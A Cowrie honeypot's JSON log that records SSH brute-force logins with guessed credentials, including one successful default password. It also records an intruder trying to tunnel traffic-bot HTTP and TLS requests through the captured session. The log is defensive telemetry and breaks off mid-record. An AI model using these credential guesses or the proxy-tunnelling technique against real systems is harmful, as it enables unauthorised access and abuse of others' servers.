{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:35.833559Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweQWE","message":"login attempt [ubuntu/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:39.317069Z","src_ip":"91.92.40.36","session":"694039215a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":54848,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac4bd8f85985","protocol":"ssh","message":"New connection: 113.164.152.20:54848 (10.17.0.5:22) [session: ac4bd8f85985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:41.503233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:41.507451Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:41.582146Z","src_ip":"91.92.40.36","session":"694039215a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:41.799195Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50544,"dst_ip":"159.203.135.109","dst_port":22,"session":"4232e4f9eb03","protocol":"ssh","message":"New connection: 91.92.40.36:50544 (159.203.135.109:22) [session: 4232e4f9eb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:41.982070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:42.685183Z","src_ip":"91.92.40.36","session":"4232e4f9eb03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:42.689247Z","src_ip":"91.92.40.36","session":"4232e4f9eb03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:43.014864Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43386,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fabd9496009","protocol":"telnet","message":"New connection: 172.81.62.90:43386 (159.203.135.109:23) [session: 7fabd9496009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:43.117961Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:43.412421Z","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:43.535487Z","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:43.835322Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.8 Mobile/18H17 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=V2pSQWtVTzQ%2FQjVIU2F1Xw%3D%3D3KWCQ9HlJ6568PYsxqW714ahEPYvpeBAv2%2FsGTbM0NY1ziLAkyJFupCz0XcvXMWEgFi4kKVc57bENq7Jg4dDTK6Hx5aIAt%2BM9uuMTODoru0qYMA1JpJoSe6Q5lyZS%2FkG8SM3MIUe6%2FNRoto7VQ4O4ieM0%2FOwP83u9uqFHG9LnXgYtE9%2BMwB2R5xgVGW80bb2BO%2B7IbayKIqlVpb%2FM8QFojHDC9j764wMA3lRppNpwZy%2F0bJw92IbI%2BG4jIPMrq6gMmWzAHcctfqGa6MnRu4ehl71jbblxufV9tV38wxoh2bLl3llGA%2BYnouv3ia8yGS4wxJoGsZ9bBgBV258mrV%2FV1HgqExYBbjnq5NdZdguqkP0gqDMkvOGcwyAG%2B8Lp0NQD%2FYi2SL5pSgdDby4v461bKMlq%2BRTyaQarlBkm%2B0AQhvQVuw0PaCss1W%2FYoUZe1nrJiL5R%2FBUYYoKptAOYk8yUXEyDQKPco7d12CupacfNclDV5eKCi1GD%2BhaOXl0yrKdu0RY1X7j6jlF9dF5PYDK56g4MjZOfydT3eThxleBuZXSApAqGh9rqvgsNHAYKsPd%2FmU0fvzcto16DC62XXa8%2F3vl%2FLgJ7AzYrELmCKaewbTycrUHmTBsHn%2BKW313MwhdprPp%2FazvDBvMS0HuCvoRsqAeCfS6rAmGKzt2e2qYFrwub0D%2FQWYIq5nlanQu2BW%2F%2B373MWANm4jLplK27OGnSpjDjUmuW0DDMbXlFO7I3DzWQd2ipkO%2Bzby%2F8vRQ%2FiG3Yuy7FZJq%2FiKG6XqGVFEr%2Boejscsz82tIKciccWmrqj0jliv1glRAj%2Fbfy0CLCgTprRAwCl5F4jXSKRxRLG966B4BZz9VvRBl1%2FLRIUghBsEKQhoawUIeDUFx6kuF0GCO7ryiKrltEOyCQU%2FGgd%2BN7zaRi9TzGsHJ9Z2hx%2BhcA0G%2BJR8dwC21CsWAS0tB6QCEPcB%2F%2Fyv5nyofXTdarOFX1AqSYOLKSiM6jmJ%2Fn7vdOdnGiZ3f5mxIHgEqf3ll8%2FBS1z1JkDjIppIx%2BcCEp804jasCG2BfdxwPu1CIKkBhBKI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.8 Mobile/18H17 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=V2pSQWtVTzQ%2FQjVIU2F1Xw%3D%3D3KWCQ9HlJ6568PYsxqW714ahEPYvpeBAv2%2FsGTbM0NY1ziLAkyJFupCz0XcvXMWEgFi4kKVc57bENq7Jg4dDTK6Hx5aIAt%2BM9uuMTODoru0qYMA1JpJoSe6Q5lyZS%2FkG8SM3MIUe6%2FNRoto7VQ4O4ieM0%2FOwP83u9uqFHG9LnXgYtE9%2BMwB2R5xgVGW80bb2BO%2B7IbayKIqlVpb%2FM8QFojHDC9j764wMA3lRppNpwZy%2F0bJw92IbI%2BG4jIPMrq6gMmWzAHcctfqGa6MnRu4ehl71jbblxufV9tV38wxoh2bLl3llGA%2BYnouv3ia8yGS4wxJoGsZ9bBgBV258mrV%2FV1HgqExYBbjnq5NdZdguqkP0gqDMkvOGcwyAG%2B8Lp0NQD%2FYi2SL5pSgdDby4v461bKMlq%2BRTyaQarlBkm%2B0AQhvQVuw0PaCss1W%2FYoUZe1nrJiL5R%2FBUYYoKptAOYk8yUXEyDQKPco7d12CupacfNclDV5eKCi1GD%2BhaOXl0yrKdu0RY1X7j6jlF9dF5PYDK56g4MjZOfydT3eThxleBuZXSApAqGh9rqvgsNHAYKsPd%2FmU0fvzcto16DC62XXa8%2F3vl%2FLgJ7AzYrELmCKaewbTycrUHmTBsHn%2BKW313MwhdprPp%2FazvDBvMS0HuCvoRsqAeCfS6rAmGKzt2e2qYFrwub0D%2FQWYIq5nlanQu2BW%2F%2B373MWANm4jLplK27OGnSpjDjUmuW0DDMbXlFO7I3DzWQd2ipkO%2Bzby%2F8vRQ%2FiG3Yuy7FZJq%2FiKG6XqGVFEr%2Boejscsz82tIKciccWmrqj0jliv1glRAj%2Fbfy0CLCgTprRAwCl5F4jXSKRxRLG966B4BZz9VvRBl1%2FLRIUghBsEKQhoawUIeDUFx6kuF0GCO7ryiKrltEOyCQU%2FGgd%2BN7zaRi9TzGsHJ9Z2hx%2BhcA0G%2BJR8dwC21CsWAS0tB6QCEPcB%2F%2Fyv5nyofXTdarOFX1AqSYOLKSiM6jmJ%2Fn7vdOdnGiZ3f5mxIHgEqf3ll8%2FBS1z1JkDjIppIx%2BcCEp804jasCG2BfdxwPu1CIKkBhBKI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:43.838730Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:44.093431Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9C\\xa8\\x1ax1\\xa5\\xa7U\\xa3Z\\x18\\x7fG\\xcc\\x8c\\xb2Q\\xde\\xd5Z\\xcc9T\\x8cu\\xde\\x81\\xccPo* \\xf1k\\x18b\\xd8\\xb6\\x0e\\x17\\xf1\\xaa\\x7f\\'\\xfa\\xf8?\\x90\\xd5\\x83\\xa5\\xed\\xed\\xff\\x16\\xbc\\xeaz\"E\\x0c\\x1c\\xbc\\n\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0f\\x1c\\xb4\\xc6\\xcc\\xb9gT\\x13}\\xf3\\xba \\x84\\xdd\\x95*<[v\\x90\\xda7\\xc8\\x89p\\xea\\xed\\xc7\\x94\\xa8f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9C\\xa8\\x1ax1\\xa5\\xa7U\\xa3Z\\x18\\x7fG\\xcc\\x8c\\xb2Q\\xde\\xd5Z\\xcc9T\\x8cu\\xde\\x81\\xccPo* \\xf1k\\x18b\\xd8\\xb6\\x0e\\x17\\xf1\\xaa\\x7f\\'\\xfa\\xf8?\\x90\\xd5\\x83\\xa5\\xed\\xed\\xff\\x16\\xbc\\xeaz\"E\\x0c\\x1c\\xbc\\n\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0f\\x1c\\xb4\\xc6\\xcc\\xb9gT\\x13}\\xf3\\xba \\x84\\xdd\\x95*<[v\\x90\\xda7\\xc8\\x89p\\xea\\xed\\xc7\\x94\\xa8f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:44.097548Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:44.612378Z","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:44.875488Z","src_ip":"113.164.152.20","session":"ac4bd8f85985","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x0347\\x9b\\x1f\\xdd\\xa1\\xb4\\\\\\xe0l\\xfe<\\x90b\\xee\\x80T\\x8f\\xa9)\\xb6\\xd0\\xc3\\x7f\\xde\\x11F.-\\x02RU \\xae\\x11=\\xfb\\xa8*\\xe95\\x94\\xbe\\x15~\\xdc\\x97\\x90\\t\\x0bm\\x0b\\xf3R\\xc8\\x80\\xa1N\\\\\\x013\\xc8\\x99\\x11K\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 7\\x8cG\\x1e\\xd0(\\xcc\\x84e\\xde\\xa9\\x82\\x0f+1\\x13\\xeeP\\x9d\\xb3\\x8f\\x90\\x9f\\xdb\\x80NO\\xf5e\\x82\\xf3w\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x0347\\x9b\\x1f\\xdd\\xa1\\xb4\\\\\\xe0l\\xfe<\\x90b\\xee\\x80T\\x8f\\xa9)\\xb6\\xd0\\xc3\\x7f\\xde\\x11F.-\\x02RU \\xae\\x11=\\xfb\\xa8*\\xe95\\x94\\xbe\\x15~\\xdc\\x97\\x90\\t\\x0bm\\x0b\\xf3R\\xc8\\x80\\xa1N\\\\\\x013\\xc8\\x99\\x11K\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 